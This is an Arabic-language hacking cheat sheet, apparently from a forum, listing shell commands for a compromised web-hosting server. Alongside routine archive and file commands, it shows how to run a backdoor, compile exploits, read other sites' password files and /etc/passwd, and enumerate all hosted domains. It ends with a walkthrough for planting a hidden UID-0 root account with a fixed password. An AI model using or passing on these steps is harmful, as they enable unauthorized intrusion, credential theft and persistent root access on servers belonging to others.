| أوامر الضغط وفك الضغط | ||
| مثال على الأمر للتوضيح | الأمر كتابتاً | وظيفة الأمر |
| qzip failname | qzip | zip أمر الضغط بامتداد |
| unzip failname | unzip | zip امر فك الضغط بامتداد |
| tar -zcf zz.tar daily | tar -zcf | tar أمر الضغط بامتداد |
| tar -zxf zz.tar | tar -zxf | tar أمر فك الضغط بامتداد |
| tar -czvf file name.tar.gz file name.sql | tar -czvf | gz أمر ضغط الملف بامتدا |
| gzip -d file.gz | gzip -d | gz فك الضغط بامتداد |
| tar -czvf file name.tar.gz file name.sql | tar -czvf | كيفية ضغط قاعدة البيانات |
| tar -zxvf file name.tar.gz | tar -zxvf | كيفية فك قواعد البيانات |
| tar -czvf /home/user/public_html/n3.tar.gz n3 | tar -czvf |
tar.gz امر ضغط المجلدات بامتداد |
| أوامر الداخلية | |||
| مثال على الأمر للتوضيح | الأمر كتابتاً | وظيفة الأمر | |
| ls | ls | استعراض الملفات | |
| ls | ls -la | استعراض الملفات والمجلدات المخفية والتصاريح | |
| pwd | pwd | تحديد المكان علىالسيرفر | |
| ls;pwd | ; | اداة الربط بين الأوامر | |
|
wget http://xxxx.com/xxx.zip |
wget | أمرالسحب | |
| curl -o ./xxx.zip http://xxxx.com/xxx.zip | curl -o ./ | امر السحب الآخر | |
| history | history | أمر معرفة جميع الأوامر التي نفذت بالشل | |
| mkdir shuooon | mkdir | انشاء مجلد جديد | |
| rm failname | rm | أمر الحذف | |
| rm -r dir | rm -r | حذف مجلد بجميع الملفات | |
| edit failname | edit | أمر التعديل | |
| who | who | امر التصلين على السيرفر | |
| cd | cd | امر دخول المجلدات | |
| cd .. | cd .. | امر العودة للخلف | |
| mv | mv | امر اعادة التسمية | |
| find | find | امر البحث | |
| ./ | ./ | أمر تشغيل الباك دور | |
| uname -a | uname -a | أمر معرفة اصدار السيرفر | |
| ls ftp.zip* | * | امر يرمز للكل | |
| man ls | man | امر المساعدة | |
| drwxrwxrwx | chmod 777 dd | chmod | أمر إعطاء التصريح |
| touch shuooon.php | touch | أمر انشاء ملف فارغ | |
| gcc xxx.c -o xxx |
gcc |
ترجمة الكومبايل او الاكسبلويت |
|
| usr/bin/perl يبدأ الكود بهذه الكلة | لا يحتاج ترجمة |
ملفات البيرل تبدأ بــ |
|
| include يبدأ الكود بهذه الكلة | ترجمة وتشغيل فقط | ملفات السي تبدأ بــ | |
| أوامر الخارجية | |||
| مثال على الأمر للتوضيح | الأمر كتابتاً | وظيفة الأمر | |
| cat /home/*/public_html/_vti_pvt/access.cnf | cat | عرض جميع المواقع التي على السيرفر | |
| cat /home/*/public_html/_vti_pvt/service.pwd | cat | عرض جميع الباسووردات على السيرفر | |
| cat /usr/local/apache/conf/httpd.conf | cat | لمعرفة عرض مصدر السيرفر | |
| find / -name httpd.conf | find | عرض المصدر | |
| more /etc/userdomains | more | CAT امر مشابة للأمر | |
| pico /home/burst/public_html/index.html | pico | تحرير النصوص | |
| vi /home/burst/public_html/index.html | vi | امر تحرير به الكثير من المزايا لكنه اصعب من السابق | |
| valiases المهم نحدد | ls -la /etc/valiases | ls | معرفة المواقع اللي على السيرفر مع اليوزر |
| ls /var/named | ls | معرفة جميع المواقع اللي على السيرفر | |
| valiases المهم نحدد | ls /usr/local/psa/home/vhosts/ | ls | معرفة جميع المواقع على السيرفر |
| perl xxxx.pl | perl | تشغيل البيرل | |
| cat /etc/passwd | ابحث عن bash | cat | امر استخراج حسابات الشل |
اكتب الامر التالي
لاضافه يوزر بصلاحيات الروت ومضاف الى مجموعه الروت :
/usr/sbin/useradd -o -u 0 -g 0 alm7ben -p adminR00t
تفاصيل الامر
طبعا اليوزراللي هو روت:alm7ben
والباسورد : adminR00t
-o : لاستخدام تغيرات مع الامر
-u : لاضافته الى مجموعه اليوزر ذات رقم 0 ( الي هي الروت )
-g : القروب او المجموعه ذات رقم 0 يعني مجموعه الروت ايضا .
----------------
ونجي بامر ثاني نفس الامر الاول .
ايضا تقدر عن طريق هذا الامر:
/usr/sbin/useradd -o -u 0 alm7ben
بعدين تدخل لهذا المستخدم باسورد يعني تضيف باسوورد جديد للمستخدم واذا
تبي
تغير باسوورد يوزر كذا بعد بالطريقه التاليه:
passwd alm7ben
بعدين بيطلع لك الرساله التاليه:
New UNIX password:
تكتب باسوورد جديد ولازم يكوون صعب ومعقد (:
بعدين تطلع لك رساله زي كذا يعني ادخلها مره ثانيه:
Retype new UNIX password:
يعني اعد ادخال كلمه المرور
اعد كتابتها ,, بيعطيك الرساله التاليه :
Changing password for user alm7ben.
passwd: all authentication tokens updated successfully.
ومبرووك عليك صلاحيات مستخدم روت
جديده (:
وفي الختام
لا تنسونا من صالح الدعاء